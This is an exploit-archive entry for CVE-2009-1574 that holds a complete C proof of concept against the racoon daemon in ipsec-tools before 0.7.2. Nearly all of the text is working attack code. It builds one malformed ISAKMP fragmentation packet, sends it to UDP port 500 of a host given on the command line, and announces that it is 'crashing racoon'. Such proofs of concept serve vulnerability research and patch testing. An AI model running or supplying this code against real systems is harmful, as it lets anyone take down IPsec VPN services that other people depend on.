IPsec-Tools < 0.7.2 (racoon frag-isakmp) - Multiple Remote Denial of Service Vulnerabilities (PoC)

Related Vulnerabilities: CVE-2009-1574  
Publish Date: 13 May 2009
Author: mu-b
                /* racoon-isakmp-dos.c
 *
 * Copyright (c) 2009 by &lt;mu-b@digit-labs.org&gt;
 *
 * ipsec-tools racoon frag-isakmp DoS POC
 * by mu-b - Thu Apr 02 2009
 *
 * - Tested on: ipsec-tools-0.7.1
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netdb.h&gt;
#include &lt;sys/types.h&gt;

#define DEF_PORT                500
#define PORT_ISAKMP             DEF_PORT

#define ISAKMP_VERSION_NUMBER   0x10
#define ISAKMP_ETYPE_BASE       1         /* Base */

/* Frag does not seems to be documented */
#define ISAKMP_NPTYPE_FRAG      132       /* IKE fragmentation payload */

/* flags */
#define ISAKMP_FRAG_LAST        1

typedef u_char cookie_t[8];

/* 3.1 ISAKMP Header Format */
struct isakmp {
  cookie_t i_ck;            /* Initiator Cookie */
  cookie_t r_ck;            /* Responder Cookie */
  unsigned char np;         /* Next Payload Type */
  unsigned char v;
  unsigned char etype;      /* Exchange Type */
  unsigned char flags;      /* Flags */
  unsigned int msgid;
  unsigned int len;         /* Length */
};

/* IKE fragmentation payload */
struct isakmp_frag {
  unsigned short unknown0;  /* always set to zero? */
  unsigned short len;
  unsigned short unknown1;  /* always set to 1? */
  unsigned char index;
  unsigned char flags;
};

/* used to verify the r_ck. */
static u_char r_ck0[] = { 0,0,0,0,0,0,0,0 };

static void
isa_kmp_dos (char *host)
{
  char buf[sizeof (struct isakmp) +
           sizeof (struct isakmp_frag)];
  struct isakmp *hdr;
  struct isakmp_frag *frag;
  struct sockaddr_in saddr;
  struct hostent *hp;
  int fd, i, len, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&amp;saddr, 0, sizeof saddr);
  memcpy ((char *) &amp;saddr.sin_addr, hp-&gt;h_addr, hp-&gt;h_length);
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons (PORT_ISAKMP);

  /* formulate request */
  memset (buf, 0, sizeof (buf));

  hdr = (struct isakmp *) buf;
  frag = (struct isakmp_frag *) (hdr + 1);

  for (i = 0; i &lt; sizeof (hdr-&gt;i_ck); i++)
    hdr-&gt;i_ck[i] = (rand () % 255) + 1;

  memcpy (&amp;hdr-&gt;r_ck, r_ck0, sizeof (hdr-&gt;r_ck));
  hdr-&gt;v = ISAKMP_VERSION_NUMBER;
  hdr-&gt;flags = 0;
  hdr-&gt;etype = ISAKMP_ETYPE_BASE;
  hdr-&gt;msgid = 0;
  hdr-&gt;np = ISAKMP_NPTYPE_FRAG;

  len = sizeof (struct isakmp) + sizeof (struct isakmp_frag);
  hdr-&gt;len = htonl (len);

  frag-&gt;len = htons (sizeof (struct isakmp_frag));
  frag-&gt;index = 1;
  frag-&gt;flags = ISAKMP_FRAG_LAST;

  n = sendto (fd, hdr, len, 0, (struct sockaddr *) &amp;saddr, sizeof saddr);
  if (n &lt; 0 || n != len)
    {
      fprintf (stderr, "isa_kmp_dos: sendto %d != %d\n", n, len);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("ipsec-tools racoon frag-isakmp DoS PoC\n"
          "by: &lt;mu-b@digit-labs.org&gt;\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  if (argc &lt;= 1)
    {
      fprintf (stderr, "Usage: %s &lt;host&gt;\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  printf ("* crashing racoon... ");
  isa_kmp_dos (argv[1]);
  printf ("done\n\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-05-13]